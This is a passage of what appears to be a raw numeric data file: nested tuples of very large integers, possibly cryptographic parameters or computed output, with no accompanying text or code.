144184100637061004660930797599129434492363460132068280162716970990761853571, 1341798497451745140953355463522462328491336992189167208073432014779791822265240 738863693775718103536431794664669369540008458334142696482110337380541720622, 7146675692379006868426689358784070787468305964112677166739001192147281661618335 508452933702066736326496172885822780595722344692509211556694882401710674632, 6284643416907092100063784644145713481755965976745690171727129090079004434518425 142126618397741168876708867700195658424620733414251540493201466705129708030, 3371485031224409534667907900883112154637834080772195050615613365514569807662836 190007847508729936602806316472371694700752611994544044225427627029171587260, 6573784246271644533743843734026781189420670421731136645764831511636710133709004 850291946580459639651793205657881309899080441215194185021274720642148222794, 7386452067516988815675043698208097778798440018395206308186614383879563671043981 237402841795001836765849896771808491500127393931551303106379310963085690311, 2149207613958843396236235690635924509641270438298337223929570883279622965973248 214717890774904779091548231001500511669023951430319464789114998015787265677, 5453417444220319045158050884618267589229856338960754428432782788636031510524758 641724114818277801925658361434773934544522353309704650491697493314407987441, 6538610376629310682335910883572341015101203887176496684457315152681008774461823 116875618993332182386843810553966197403888832945520980846941942308877972367, 6130380281850802065901739922076615524246866755910627775508072637764579563053366 161725799764218799918811875837742234633732150520056793903537527841697205124, 2332300134565347261764347776044253424375631546403774693744607363586782676065487 856839698406415534305629433313070782064898039479747686520591212445489728755, 3022116368114553161544246433304110238258750245866372293331228217106403454881311 374743612682323834657760581722942321228382902227588679062819230402425087195, 6075895351653328187519841414553984301201089848490578932824371777812177685309601 990868632936368700840559931312660720415744006438334950677533924799307810148, 7641677539986522649224141348789257753372930363194818211569591920396329236563952 940844379229105099471946110480401600343559371896352052651192982449007072823, 8634327896291189282837258046195955115757132761849279319418558698146939610555157 540413274999554175551974862552647769820616788647318903839030933936571985080, 5987900922939738901470624680881756618287576725580072320444537849637286008014176 105351581705047833525491426166739466408757118694978703739917922653620695014, 6648220903438671705356836581618714803163862935969662728223196409588897282727988 863893449217991678737044545384341844884012479616310636850018871554011762239, 3476636794573645642497126952175350473216328562679369459977141196032232330173445 812629847877650418156622704636578872356974000506877384663649006252044503562, 5894921144996508638984450515906398800175938672072286648408949844298305983838666 62180463660057827448448631275254020311552451994669492952061825288165205834), 8205018247546307529686454247783577242079376482592395958650326054876386849169230 745477378431724614320215369610990796690000784664343066872411927790778337842), ((85970918836071619813088679460007170057673418021276208670114460921723369839430 70213482285992921965066195805028531039817817766428246081139176687375550355639, 1254574690917554541511510180554988387806578334494488604029030345279413955058870 963474197767078299095203560305845880117554331113041524646135450581392378596, 8164377145212938363330797923368932714648423007231354957011813004093482946047385 47430088154042329425439264141912151838748469021292886370599225345641486093, 2538146666243935785706040871216292622629314720402703381506294341691671912208248 411724609601599223602932280409987610980764947400510557245681368232867403118, 8649037231131782098616585325515386212529892292358890135413080631277213744698539 526771167046411022098502530737488423683219863501914863689291286679751122717, 4353563587128207436688426071694204604584392820267333966232513607418067002949506 70337627019794944948764827573362207450712216568559290463568852405393736255, 3743076498253311248175221665491018473789470693067659966718358184881307647589533 697364181982672093060560326727013589639661479670246113090349151170663015153, 8273716344448876644232611477353375566009550544491349220648072193998424369007440 238814146795796822366831397157017429986840135877119517067401318777094500590, 7604668702167498339686842296758578357788354199499836990101777068114881749464746 198763936611791342236346373247456440314312351678972623878844001105832320121, 6676214354619929335319900364247789856693224591391733557093994910016112180958840 36956921725605802799765683853713708724889197668533843153683905775083822123, 8671780793638096692413046702733130562465232110112529363065805699116714463673282 883541612098368295800576532306705678641500466788704669347759272123685853304, 1350466272792857452354433035128584354648824657093127558721326119500881901887983 003357729788195941669810183871040747139613015536724591438840788343144934733, 2276195824553608028947966240555876018436240646126421194106482089242115232712267 925153262460374853516795043308433259099418632115936353237884177264127085518, 3398552812663778254904987142437227284745705418074761133921337147110439777135617 538303440432897782619229616176961047389705714093479304581646984443963464018, 4621459244805295517323254775872086992630286486617307027369969842861201293726184 096370549265705118521887901980773939217688234417395562306939284436993982661, 8491812654126638832197002479581031721604587374124876825634567215731617318488355 361384192399075939424310942779041071818993327482319473065096958077797716468, 6995816971534289734772685292365016785180640888798207312379045346684073486240615 748939452972125345463964477385393999181701071183198353600680513270778211047, 5460092516169400007689836204464173128843408950778810115421489573223613362423961 995473348033293418909992285301269683471806779735781894589265108848904759168, 4138858171207135647713283761859262566960313869157106043551754194189559407868898 930788358152478506081085501810638689762939347811639675631826897522085424648, 4622309985831353058852560171289820951339291754908150650330931463795578009709355 696528898504690950755084291256347736038797012539135406749760907287758631219, 5451938067491597445435382711917583590031896685106641580540724662916949698574482 593522356674520254062035733029120212517076156287516438278257934711432988254, 5712992656854860699300380849360547215169609295325103980802814185586072624961089 759998462312202478687439003009155368662584441975461263869744093055176159233, 2795873930851540123026213707631328676540652221687062051775969692035403686628640 956516832286388145071058299983730621638945808513462625576063868919947863423, 4720207516715434618674359068295600583675098571539129557758573594747630303226821 467591773322647261690747830842129421257697530841606625473565549251880485201, 2147992354230259033469776314241043765551750331832524244420449863754583790090338 180578034446893396900701881274416053655370125799102169330452935335804194671, 6671981911179219036205480197342961727874274889490066059552041258918598840535905 895319631763473139232431201473096232327338473954174205287374983174094109725, 2802485711412760946828518898798503865598533468313649209001476005598393969387052 879812113199702212591336306772375610069982713312923737732830991176305801047, 8384548592806068975243347346570254643835351785445090793254157488149925939932756 143572574205814002614124242085899409194901406005652141210922548176387785482, 8751124361989884906883483328689430478429755150279647363260147068419475230764082 715500192545619775387036035029844718729505941922410508209269441941227903276, 1797324544291631756061058490485353810363255056990188282656796433352689765861045 998060529976523426914914026950297407347533591984077576702780664592776823261, 8107524230426694042196274960152400248709045232455052037358158942337956897137634 183108096073809415619134772515042943092044637924040222324008959541755823969, 7190571666784662792735289167540715105411066114268785704414059096949253931693390 727442456647784340049636275265430019479602576333637363260000110788245366906), 7175565789265109866927944207195665610831096084757753353489381920152455711130402 755375153320692727781610163480189689596290900660321029918342527332770992580), ((16721138471925001889447970655585888684912676833493914715438138437325177194566 37510182776832088130122294515454583932330387325355383937949668618261558461173, 7979937525549223608222462966109330288990998490437545012774472422557090809523784 494287463237298133644228458100209799429452416030193600368833295975425635180, 2602219822142654274299750520213983754966243706153664913668707733793013946718585 99070763228419380000636121718673280440593041736338685678934829020876013150, 3973875773056588544615765906479569206069110694893778743349986622897090712024766 773860491692760516336815183865996761346844945290043669611397017982542866981, 4164919673482229550396817943155743130651147191977223699826598386322141923574575 04816530950393913949447811933748044847254259505888853771108194529915372185, 1689060040821263913332545733301365922018706009581556876650618250805243063223730 792447056386593610296125658363123725397091182645855751357573564624408048782, 3083478719409890204201112743039481954573450056357114195249881454973381820737228 594619703023490913384932729367159659145107797224804877163078165179726501871, 4307524676736896685546218547562652482851852158214429533343921189036214089638792 056021511018709894408911497668051903193778655210384223773354420798930913651, 7385073028064954276259060183008662394431314607413255609974050243548762965760957 484659976343854466298200384930424489132222316455091824827298688871564176549, 8567739294549629990538993846847487852333863182476442710083892128917157342913932 542355201480571320679516075613775078640216841870838864302375854033399883106, 2275664988897238103319275341250861578377330261034138204709746798049611024984120 765866772713612397008887125347153583183291411328436024088904588589174167904, 1014723815020917519355176395675484564763812085950388409772685492473540027904163 992365235567242564211642582566970416687712632902106327475433825894312030150, 2920128917285519505347554267698844138403258736214784617951610870030871680701996 877956089485893076322170536351877490570559926408491637118975096388913452819, 5707251379513179184392879871496751059742850342793653961063413797676935157584290 159343877731352029356243589914594688870731477670512126832858123586323789599, 8514265035634984471393806193663503726817664553509515742646594103853986800738714 452220170371498565489294330640920998706857062598372154331702944474354310467, 8012987792601877634454114887956728340750422380364870217507545291438125980748726 250109451376734729332243851624567545121173720992328389661441636778366662195, 3720475903050340014135210073462026835796072201380356469704067512670158168604404 399649197523642596143903682161290997437801844687258970738018705354354739289, 1464572068279423158182686715373235416460621438171520364329401682307063120056412 803503853022482361066698309899972201517836754050690855512873341034088604290, 5699267159075849055798910574796152590414772438995144667072916507054839211398036 966617184650078129075479830003815946624433923998037642384325154728981574704, 7707145138256682499846977494609542648965637569540726600765543618553581420632113 194148964527069821351377271877785957918095094536457744148269721904218280003, 6303646337752871315978550550384937664062978948034020812735467708734342474654080 166765297494134391473936392110935207254681504044318028940774996486296691072, 3285981248111999868830252091698398069400007607780208796246657373463967354189360 027275258745633841742118993382265943170182370974465024446006628350070279663, 4674232205446768521852956797239112495311522461859820846304356387907134201948754 708742715822136466683653667694578377401701455509294197496195404962608474304, 4384904914811448533277183412050778285279502825059310302691742057797074541978800 199473751920984290339891801971303738838040021083171382030093018426169431226, 8560592054683227061208066267789105785948720849191396126158154577449741208060411 738279110827343501977989241008518511579359340033419828846652572507572214784, 5696727668146551782664622536701163973590552441222646774078246121760713978754381 714626308620092231257594813814334171891560692209263303689631399521850685788, 4512775015056044299812161631615007195264198386305378601891310576290814798018482 772840381621304205501870783991610338528169876374626695402297498184317385952, 7477536721828586935429550463735188550007173250431993486089988174563110746328318 266127219533404084138919606399019883085979529070395085406198942786192136592, 7889890282186612042348108639500401110723322212291989971014853591861854742897747 568233767601342345006484225628033783354159244905316303560379128610876867309, 6234948574475732348532412680653737897458076919032654117089247977444729809930061 413148152119639645112900033288251022034882181363261677298416451096165588513, 1991451763815519573358659510236047801363990079955558003140824209572248146290923 297444272874399398028466055782709585765439834786032952378638805625314989309, 3489679552978109499866300199355427656903026189339364267792360885215845642923379 506409220765143931056188102301877304053106690914483431743283695010259953322), 7424763760735746821734502866409486701643443366847952095213146910300980958513135 041713441166569516371654280511138342566537184573787652749124271294149246645), ((56667471172077922311622896740543373712659248457134340277161890073756858408769 86782206459929029300772334043721875835118205002597143072299856609699896071137, 7044086012165503337957085962756234746825659447935350338200445793836161958543091 588853097922820433271001935693384739446046294471945298284570126850167015488, 2865087288946829063535381505717534012431787375170500783422539578119331346472282 42967017171465056237442808426127413459831849373585699940576533787573625447, 4709730485584463459376502153176081613812587693580774840225787686211914658133033 08703222977883941672378604171367014299956217879237116228662424263970305518, 2010062323933489110731607985058978518171179710376800847843099168419109371332459 518359257963258642895235023725909156312554353471799599398749364038074980046, 1324203437097770759893370148456760596582990262893048964233660483715226537550686 132980144630522575343618186368492682522415007648326725270944929335244359802, 9346651599628701543208186258062032133469318885072826061622043086067475810091734 27744614354855450493681979101673765863399857275609739788113382958988403233, 8328164185608571406089777553008237731259922840291256450891267190221333675616081 882251756791059018589314639055978094352129626610228362241036638304039219184, 6510678340273992483573227004088560374256455174657545944376213272833695736100679 224705175712596507688873588974089772066274142095909816343645508289563471932, 7227623983783012160308077057077890641667701428866484556756648186425353658952751 029703174794557402267554923398861447433631927975972677113175528489776022364, 3600810657202618729216704621093298567648826762548063320647821076586159023643683 633932275930515606683836831792663800647206554571092631968582972170012543152, 6471887193744397424846823476483457088819822191309505092188046788010242425918206 060292255087101443482480877647365659779715429410125518113914362036293188818, 1052938254667772757791267082164304446606819145357420415827417465172823155947590 301329868154152120138747654680483112716813306010614758674205823013556118013, 8241951320796763655190439325221325016514976683945749623771482083568741737576553 624963769130077893554749422287272521194262010738289479400858444369906636078, 2086299514815803446093335507728069492812696916462085090273371860519894120711073 889025737945756785223633242717865342471330266733867857507044174975143847711, 6885084147907517857649200921757131531715060051724388504182142804316889151772513 617630563582437228976188310039218669920980608414485147055971869260626420188, 3272305984863827935299462890065271955836214840940472293159071162120506644772979 476866425290949657950121144312978185832473180894482328601241576589748388402, 8192292923552376999858071587535164448524862916316737161552702328874414192855407 4928276773810174815281644765065992103520502984460054385174840063791215052, 4188747542323992480373096907708585425162776305769361618662874880432752081485023 69664938443106127736822826586873029761080291404038429628045432577711385538, 2576048350382672524508569084175590050489577272271457637196372378791921991903499 893805322227940291660008857850952231373082779871002919449315705268738543390, 8922863375487914075143743432922802800833891375323054463209979704245142202479531 341912579562250994459223358587436919246479568026700843083243041898781099485, 7341096671803659823674609512245252146432386109417487851264513318533754771984294 952994451446148579425410359997477589179438039338416401804203151678055112559, 5613977178395009782174871535204773928571110257121349448123349659614543275625675 012303992480845469653616393426930298724303292989935420390537269118486987579, 1437073840897662160252552469937180108878161107828693132142829953728667944193377 630716119951389031414737399594799261828004642267860919178557841123377816842, 4489249278769207792155765729851377836248177244000315498332637316278302467034960 51668645574883088709967164895585442235379628834504672606949238730766313077, 4979619069604627569754109736995144418913594192453407665394103208928133501227322 79411868297274494239715251270782350453055038974062269226827354464963896824, 4168983494583127055867341355960532731131565177483070070392139164279881584538585 736113442255946698292111915552096005389904807516569508090506613867095660190, 8358631846864153592484926564363090015211646217189105944171651754788605340511097 058217026675513468378994681949963461364779058370891916289166989989136820070, 5667909885248673353017125409043768009119054862823863803662888098287865507419681 855460846020289064516351887625495763638903377514997608124278346321032964817, 7642926122271594113320623188218516865628297519184931113761286752622708074939464 441685475139045747758113328719556701831940853097995110645089371498669952536, 8416889688885988364672571410686117813253584335072723472154348137139145060607305 212429509274464576027555957804112235244971830079537337536991998194203627216, 3153210306977937984452842590100097218856487306417374295463756087011725697045401 4300430730610123472840050076973168714081541666064973164622641221213011415), 1996963833462914786642100934321717710828489168690485132808783452437934256617104 74951320619479985089862456037280647346781117645710853643737756328058303746), ((72328366635755918116365779014293848964723099826601371125852133680349215664056 66617434968458534261556803202083518160015577634453609754606522280598770271009, 2761228325712722802051280504497191282766383132197060225523372646125049899408525 273666268777804371249355197926723339498617644271362339769801000761470597545, 5383059490961807872182009568937224723581644186740005493881608341923144520172042 243095095471355593837898420777017396813434691094325110621560132763764288616, 3990192013659751281470620715996973768927868562376935216113497094859723831159489 656674256514346818104966997679194359589784113571080958136316489562584164740, 5684129308542262518136394716109468903252037544881787391164441866969419156868498 646376419322006823753063894727180803955387693702287850869123287397439148343, 8643036808325828835624325507344219208211573183263221170707723513201193225896132 539041255065467039675970131956597761417663321669822423960983670969714995381, 8061257945159631816270255689180485132393446263433141638946575720549106570465579 428125714344895669249646296847706420460199852159324985470728044912394743273, 5433792578356491955491062984335031821732552788842335007358047608867075205532014 44924213425654839516018285943877747983328534253360462656693582869280587734, 2220972947660211041646196013327781165147259605143684677527926700852096613962974 701262862254858495760900130610023492296040302692598152832059521990220292984, 5373809580594375846296298831383263806709255783371465974506023190896527150272976 353621150382404807777287241156548224156564961886330397084095668611105631285, 1294047254864171387128848880529715636181929626790148362312657438145212633395447 004678995527074701086502716002150941753117117613184317782863029895447157301, 2581711925213907300183811538435332502889012117201639818112636207716331527569084 788735374163021442921385734877432719792711225637967669790525634472487867643, 2365400702370060735749032354119822606251156223877230941020139513766491407053546 131238072514776683061661842891874406826286094796985762016462617004394884147, 7607931058200948832428482666966178717648952461520789996036447249494442072307902 445413707875785279747063597250544176711985484885386209298122938552839968536, 5221271262206752410322614111818728658664227237936657695665242284479540886573420 83786010494296066865284579391452860093961986657616792782844602528104855965, 6388450961051868425473016574945990634112259928952086088710250156962293759677327 309781943755229594503203840749311118407972660088436477634644675253784070288, 6296149860434106116295001522440813221145903940474584358934102328146210427032743 731921711668362955541136902219017807601770509544696845123989553956002934905, 7431104249522674807313590810983476033373975483848564754811924101949726299307512 03441578476539670230136744585181906884015049320084990084450036792833168358, 1649263143989654356017260344504918975617805132739621744367437986999303060942958 645228465602818912258776628966803045446131759060782475527986775688104244538, 8884300156148114191927610469147862569862390230228710363517806372019014250827327 201457430574451792915427312433434318591031946872844883754204447763908109072, 7123293161718365113745156867874931097051082975080846416382536067103014684661309 65409730094357407873859177430689163242663395799481322718154933254318501616, 4658730688804628812309874302385056015126536287061223544583348693269780339285929 257601891167262997164311891019518973963157856384666824843809049740346845749, 8598589382643934575829642485400736904573596449911968418099949592923576292994613 974652344560969215149793951839897781923252441364362580251835905998459548602, 7947281434301797754245958492825750910793775853201621618758893708032828015770502 119700994781274599481051430708588950508958848580583488674589105350260647881, 2208641711153980482203570606152727922465436100128353383840573741351960471235445 313039930360405505641501476292574796160827531772717742661301516395093644697, 7638500461881532810055158322660623655681917340566400292240484560681967433535749 590517907690596140455824567554694391937110824890470749707967420518295290843, 6669774025865762112114511013001894937244490101611932914543519512048029462719092 672145524964882588672086831597971827360023433453724698894923990684878288335, 4530135696519842048777571153892699758651271457163250248380394027544400781622310 209630808354440225120251903049669619528452123191442331075670012020915584711, 6915771006647045360948888761071570324277601791058933561291878170799532050226522 002875034362554113441767430559077711916742439974618058247075640820097481239, 3971532376783429541244727301698297411493799740811055380951746379174138958084833 75079983441581877101803693512617056213213941934827475519464626452483653726, 1257084214608183632755363561277467650193930185563069874868241941358923902117577 701943569425291928539461447073453586557995428337257841366853287265760204339, 5224165197184882576344672132288970434374858047015357249155002336023016423018236 439199777015364052945193935302396666993531950316339657577912682827387518430), 3001698592709928731715264250282791258974875709665051592988692808801847753666973 189416861707255354854946535465311681916848156064675490299547666139418654094), ((81527888405449218316596975175960919744830079175276097577686531273679444485739 02974528467355431966246131922421082252404359918349429183097861969494855663348, 3787315346434216042979664594827016356002777754720733924649470436387598229254648 670362059378376130452207003367097817884700078660597683942577185298713161481, 5335677800821900441572546227442441257511108099092931604082044518593207231870057 429167730337411447442786946214543454811934289764160165458041106714716676825, 4408855495264080956966945358981506143753110712458006435611489945254454510344397 849326018315181305307477764901010995334623929831523127416505983304526761796, 5444829960947674854385422121422244260696015631488190169154928549385210283099695 790166261123121611469749500093343275418856897946383311579855517707318208680, 3831468855698866918603795131025043873089926233654040219926653525341268731296275 864047654706850484772933642379107981743659632529972776345636738827365059272, 6910800027953927934107406249220009696891941577945119563833759967509745526601633 518651534319263181143661171575039648427201693664204490219531166660027881140, 6919432305204117204103947920455584324918803110720592524124942848861012667277033 579745443484949749337487761537883656938729219986815702063135374690733997605, 8110964544415057807728076959670936351194233485642079047445468008281745009766494 570314822587887351793269115646325814383419180352470896703602962502428571399, 8927053580608183854145876349569561771265306392497235158096584361845858595923858 477531801570658153560212214220648277068801502293292332085802729603142355106, 3044700310820280079661116575606555045870995293992152742634668108587168599038676 729563021001461873713427632835511562320543077115478443483995485227141227718, 3969113259113968040995767676036561383131055830016631962813229643362787156776143 435930580985156923131932948616344344062649614836700079497226418923054956834, 3380590902711067840161060699791534222785690293121259119651850183198719586135881 129917696213984956631537474208785381711726206534532291166869097513534909815, 1114026495547966997657725435089422804225899648083760764056671405123481448772455 155085586998979706252313068323325983099445751384231323664364134865329525129, 1345725909371423510865758609981707895811285123259237232843250261478105123119306 668045411481854054262408803591602206161348954634246726434495388306967553327, 2672270716695989415186106629987244166684575227871967831875311610354858435593407 333098828992744015799655693748496814937548845241908356289524947725813578985, 3180921803881245164593651028745760311724199378324876393386927799098990573663436 972250724108650830300076931147307548346087478664087789416272656074323731799, 1414556670728480546699485182116570085845101755056174449084181095669253083166892 054298988470596414453160733731176555111071875535934987679221480549377612096, 4461824359823575755575726235010225472229618275688684352163169755044989423374493 113414122902845060172947416905536394100936078374266879100537987179774419021, 6137083655445056271650239315682032629185416607747029436408084399987820765198158 017256020779581464429647023221649891281407986298185248677142064696331282097, 7656708008786137207984434676846047787433435335648726289133914085814779516844046 119694796638487356344934913085489531907241711260680337904060261586026731143, 6871688393103067736865440479204060138520779377954612559497052366324909866010896 770453972057515157505154638437987657736835177346352975329084865576731096012, 3810183635948303654789993488612422782083827366360801895271557725112671282172584 102868748158970919189016618014159584207216750638630330291095787520473633716, 6424720238300790207800994909120644950979702987315993464128479789534173681335309 641673920465005798381496026632259418083618123844296900944625897729976525271, 2611545049465975887552215273202936483764667030315741825271675742948199589251848 83465579637232389502464134871806318975114802709803612899665525262472707177, 5019462371247867270951013469560237290653441252272578392955850069815900225841644 223427724429507850367412883918198690013796911997622850062445865209192012315, 8857248655577085750131895656370846269702914989283014940986359496479205971656603 717207165447990137234476035020520324413892093442763131814938869282835339274, 4871144687936402930245195018159896772950701628148080625381361027398001978985793 292259300742045513854158582270357321075004549112940134738570587313789802087, 7916888577386007205382419010265701651130510410888055792187923657538209032104804 260564145812194467178232762871085140622306033547430755131635854484690928482, 2456229331790350182967327819488353091309848861939607011008004140117103000207584 803453354877492314456465955850402016640061240748048304496936307477584675824, 2608116292908290123757885367221143327541563305144037644948577088852081635022514 466941797177678306799706895947841966011219289452241019833851433040820061714, 1238248206531259774893526725708732032469307982628511433164383809872864861946613 687903702321600102572517017122078560667081023944487931688612646851950505047), 4629576410117737786127219773103024208268796174377881954612936226585999771449418 262756160525696765784365595363109821666709204924972842385483831752778308195), ((69967397093731606094100407600721239972297174484377914175553643202483866112449 7567025708534232627904782555329854328329740509340636550076420666675197678133, 2813909645644619737554510140384602626435758397053022297604545761147822408019243 268638604000112394179341172682140768119728097670827162096713334220608871300, 5837546579928595897468815628266231822317830167517156044578341569217979313217512 82427930870047606403562473967754855060111524894396373736405309681015784018, 1642392277532040357329314844314177449376021408552468675249191178573246021110862 283672670019076491863464762927475684377271215289822635541098035361961659182, 7101606918860299490447128219832309058906090859403168158947675391198832979890155 393488399156309743867246990104161334214683789345274838125548063324121934240, 3898712458223773747448197839177458005362577985189329963944838553129190076330392 835522752461282304530531239042713577180435589471580338130136157937828985785, 8109688208243351450640346463363574684579910262488092213113051151689321389244628 783439071185533076468497478929349092772655583232732479786510887509491531432, 6525713985701045328559371204905226446498182481831538441259520717726425634377175 347000299475682503335901784294598222174977172718149837430717610194659498428, 9912291753512656823151735469983494976561590452826835740672124694827088027685886 13135991587897785690563828435664445530032550768538965442492314658706365929, 7287365896430585845709829719323304625356699360703205281930967331234591353832988 351258128320025884337742059042735617967412831290722934587228390743370609629, 3248232124188549872966521982142766714539764478045657322770526328960091222651630 910320143845111859581714885496895071353057611794519605276669265674342476664, 7910405549982669044436278008143626329378719121405292842409307977063793949512165 553573665896229843483686711240992105044290668783562471341112674763819591235, 5633244415754205646804588557599160841018930178244519636205150786566271624242300 436445171967628375396515880396421352606559008340644170526104699377345301050, 7131741747074850806801701839671006665733938964922129831506588302195148168224705 194752142676007846223227672537016327486870351737985069143931075431425561043, 2455213883509795214280362282469024657399237106391760265672999592996101669430526 91580593086354466220441145090583184567759634367655188664067010054937384788, 7324472619810113858659429202816148218043824087095826838415817327336726138333000 153168468546386464139006733013102551378657017724922907442804422915281367790, 4437218853326303629546069281322880975779708833302598534566570652500916399215071 42198746273302093343415551470685456290042278221781427715157259017480694180, 4872832822574587596774422363915751825018420764515868258233691939945693595825537 89742688987633042767974549320091535178976629459733591186543079054323005120, 7738179665479342804840543915576143484397393324476116980310142006422247610296010 777535027497939376106059801068452214403221866021232320789993104677175551609, 2751448609072329265880747246573613061787977998277328820263821276106626193266890 293541137092770390675981334717247981312104172830117164647461357130168065260, 5849649103858878945356414039466268904456689408973652458952520943472769234109073 879872305527691861391828837544691446481922827958703394414120362180148159775, 3392650530976251934976490088889680829248681248764121869166222937266416918189644 109960839273906048393438471641805967154151896793171323291593533680051189997, 1130135304190302025689484851655195862385987864219429687398328462282727263035720 501594319119171873711179088311568016635911981111691216742951475135281823345, 3722235460470823874790557322820922652130750846013898706335393552958856362331631 1584018346192048995174781899060329239477751943119219803268290516047055780, 7072582473885753828235206808937101856671246208136405929710511608714835256273949 961061104562403383389577554661971785001202438650108051813741418959729726300, 4496411538764701329587801560511212698367143097130409658015519319213518132612668 855923722877460169825787584014868169484813405166538060037538168278368371870, 7800377023563797575184564336617168225421467856915895308709648042105568855538706 09958092736478312349605986285715000966836518005211347130038744528643868555, 2926119037290061534705932736982883649351308686551145309581666046440634905463614 32805880857178192442224484026015811569619046771551278354722074825072625047, 1174944681181221691236706942639340377104960107668015118934238953099744966979976 805265702148347188900812156975262291971719726629686561370151479359077964626, 4805575259124464901086857065209815890220523549314294709423115635748456362808189 008028485290074231799401243387269445632860598080498598327590084119043864776, 4268684841316780057510226986447004781556362605437447890198611987064511149642172 991434060745427343179630846818576677886646967608212904951335758761948026330, 7500571019588164439903383829452550789162456041546422649723952950531287539254578 598231375474682463406041600684318452080347748969510282442678805498275594112), 3134728707787850203502466829893128605490934526110758288322734014808462916219279 802154878834476716972395856544590674108376807831423229362133377703187582680), ((66395814668340839070853008435349702554650554908035404786174706217234028458007 78862490159479214922275232664455545757691849813616809383430694570783638761463, 6614051962506019507512654151230174490428319533493272992543784676207684599995641 598822826690691659600442788345971567369778333649274145343534352523221377699, 4846430833388559326402923666514713232154518234739117234118105883384618813337311 764170115357705471040235010613686780339264811594911518050564225425093440158, 5795948254001439834702653580962274175711686780845906717497109524222901257747437 601875663989577924045290935381843195783606972773214692581177531565977923206, 3064283934561019194397649163797461467501039555812435246108117508148176180138607 678380802213727992719216312157668606736488798088898463412143068893305329033, 7786924922364445513620236353867285381622449003688117866295997418933440474025674 874941794821535175147415714076699488692845728367827989349165708779939026409, 7817118436332320698318000267833290376906615949511855945860147040449646893691039 899846138146686840910943097389114635927057683895996814643042289640424537190, 3124850164775682484676927322484771679456290202466529824848043631693316000183332 766246492934839950085643490754113264095536451142740383262283349129789410455, 4764709957251263683302976183256167603696122326022061567855875010952444901442180 90258057595116456310083278829708276929466641346475495153164911760310709655, 3405830300804665480015732411157464239475870103564080501831807026169269745078202 988563593160096066709535109723025280392449394012393701152387102152288566346, 4210062982871669956722172822686229440988595341499488732270018893742591095269323 277481553419614986292571773080632270113006280719646818393892168399994207921, 7218047738800235491471224683669135900635695655910675100532224518105283170123388 831493028146777437886174050657430247908940511489269927583044754642475345065, 1498892652942664353001055661783953780500662171604663023813846907648590131515100 155685057077729319107961486863463934186999980385927184771544115120384880015, 8559241650679290177404140559953692296443959272531157904926189025149851651350073 531371515015143619070688551858396739110683625859440427958312913310720067650, 3267344684522567985912827935860657649652124313685284214651564169809131582788047 35575538381212817541259258586788739074149417785150163785687726984765324438, 3241674000036629853034215524722094888708269724558469011754227371681467462242975 694566260023835884963467377368008756683129618187453580649833147306162151991, 3987650913332632637339082139656272707838652592536832021723986341135885851938884 984895994898384482422499399529316677469132590433361238421967079254817617556, 2795296511155290641522081779246959816509394890355846877426277656173447135818285 816061266704193934632197297929506722382505763598506578046203139178778093409, 6404316737342471682054543350710406867793460815823061330070488428248956403199799 691897592299938151686038473987542277458844549593913289240238616445576546891, 6313824105586284146183463325818131169264092462573737705807270009480469204098256 899808581224687041478830663599279185292860828291073303947276069048545524747, 8881760188351677638991291643718812224821864630836885701597653250297242456581378 164188340179921597115741344816636324838609869676033902986674660098606902859, 3877570291576596536384640882459509499430416704706898667168335989936994311893802 763989723647405129236007900504351493172398274111718066298559683038809024428, 3413095914466860522479998228124482917180405973751603368166201129498432002604832 365966736189868520229810473552783813469593700468279110596783676569443234652, 3140325526127295783142470967087423252305725213866134118114160916173241283843914 514725970093878502527459713219500467519190795938530380111215066638633482746, 1258239238095324960790052305461849141769861147121263779353135022846101571635774 503281398236282259066608196452141080614271877377723086036487643638643653074, 4704407243658804863760676786100489620349642441771222931520804876392321466000578 536612862184371507426962638344048686349802618398041932485994792474865544190, 7247516821337048462206392360108506745673875508577190239470777334520240916369675 47779032183999002463002372007838631547367843442353717551782977202082908173, 8779114342999705195394915499054568055055014420365214388017804433295755795695055 811349043591426664144140584648450154925034662784706903977299593839648219448, 4520582409987688074165062276189410254653772601354268587584362908232494323945741 596738020073922260399419412661870660665076826487610036154153915515442944178, 1069811340867599373483065743759982828410934723022206791338957362433332467192171 150271465233846588030316249852205066817541775482752378115585086104134064426, 3573278888165431738259317159466319306278120886890410308131413243522694042361456 83319170613729059166063872491271855368185101141817108074635840117059996989, 8719498689583341543580328421879512242526728961185950061945626804794456170604135 260094765787721500513868099676773740883964999561863760631463299074070887345), 8446315786883559822350230442802332327440849046261381420073340385167297910603536 282878978435757227783829671709570143632962658936143160664472148002963353093), ((41465777346352245623706823219178359876850451476551208804793117055890670753146 87579085593052189963891096406255299307904251807020008104388581898473816652789, 7213849326305221769862643843893248006247729753081515820238138398320118888458247 965590786996197530104504787021366256364767358925670387649493068294830127304, 4391601574539651097386577058882923196388519507494373558601894881429819493806901 55694001622248287754501592795846299574097379859697087798928236108906259451, 6660247233047670712771295858898439683056638148683668756769438503941827656695828 779972755580126446618674278188612997229710620850316292771867501664067219947, 1314824255216344260360473428330843150316839358371703838494557175438251393032776 219721422308345839363884181512952970108699930967567747387050897109830861118, 3097485999278782127789258166545586178038059017733866492884637355179603229278004 704664031321147713181489860157311643251590137841930687955618595540433451466, 4650176713656956264156834148999053760478102383229125180248458740226533159665388 350360688960167793922471811263190761828768323570412370174534934477706577174, 8360226268690210704303637507526992955883536771622414968273441196886880471986085 907401788946920484444667535211866312262153192415337713738431637871397452763, 5457194494917440170525705427604075777736520794210859257389373295203580029539330 911976498298649827746235740868331471842473516547490206277219808542331410520, 6325448293610900926327558000353333327548708741786682582932168419348372704125603 583886731935964010057055618402596606142090923093493594985386641305756597864, 2908872984121214355751584063011872157395586830891408175561462572500894811802271 180044456380962666262517701745200537466888241158064394065123403045223940929, 6170437868471824370960479968244355767106766959844844672716083866696124034235453 975338629103567662956084081395834021359536325106501212599829961038948226592, 1324616505827624920222906335434264546978183755154649109473269000876688564329694 447252328209730642662283307545347899343042175765676136382381455359520271622, 4545886922560441413967667366643848815414960307715315854454388180949859475015181 226101132877142292041274280142717413136246183190085071136649119896654165235, 7619604436705171698226266754429663877761805213954879318042696212123881550802465 264252298366369223880970091570281339089014095716660262036969567100325703830, 2899610996171207279648121399114448796209303850438621373680908152936575645145984 51533231786020115479097627828758529012808875746881391699486283603178432295, 7380566773028346135940424531489301439478489299584087072413650225201835682587073 864933262746995525733625022675639898617363495391290824346282037108864167008, 3675721054092710509978801472395946566046879176412361322523310327958566536352607 962818884630275926115639039503345804272563245902945452130510340950251790521, 5380014064966982195169761167555058569404717932854086522696526822112847975267604 870327980471563402300856430418936755740786600972676313086283794763646377751, 3819975784509393932051497483999212590347770906859291789549616855641800876941948 772364598773466939026198133769886763785271774907113093190286458645566474928, 8875834652685293203733043992414464625518666057231151358748241904915220047843048 272844261226940156946724858278042169151009496619356999592763558302600578044, 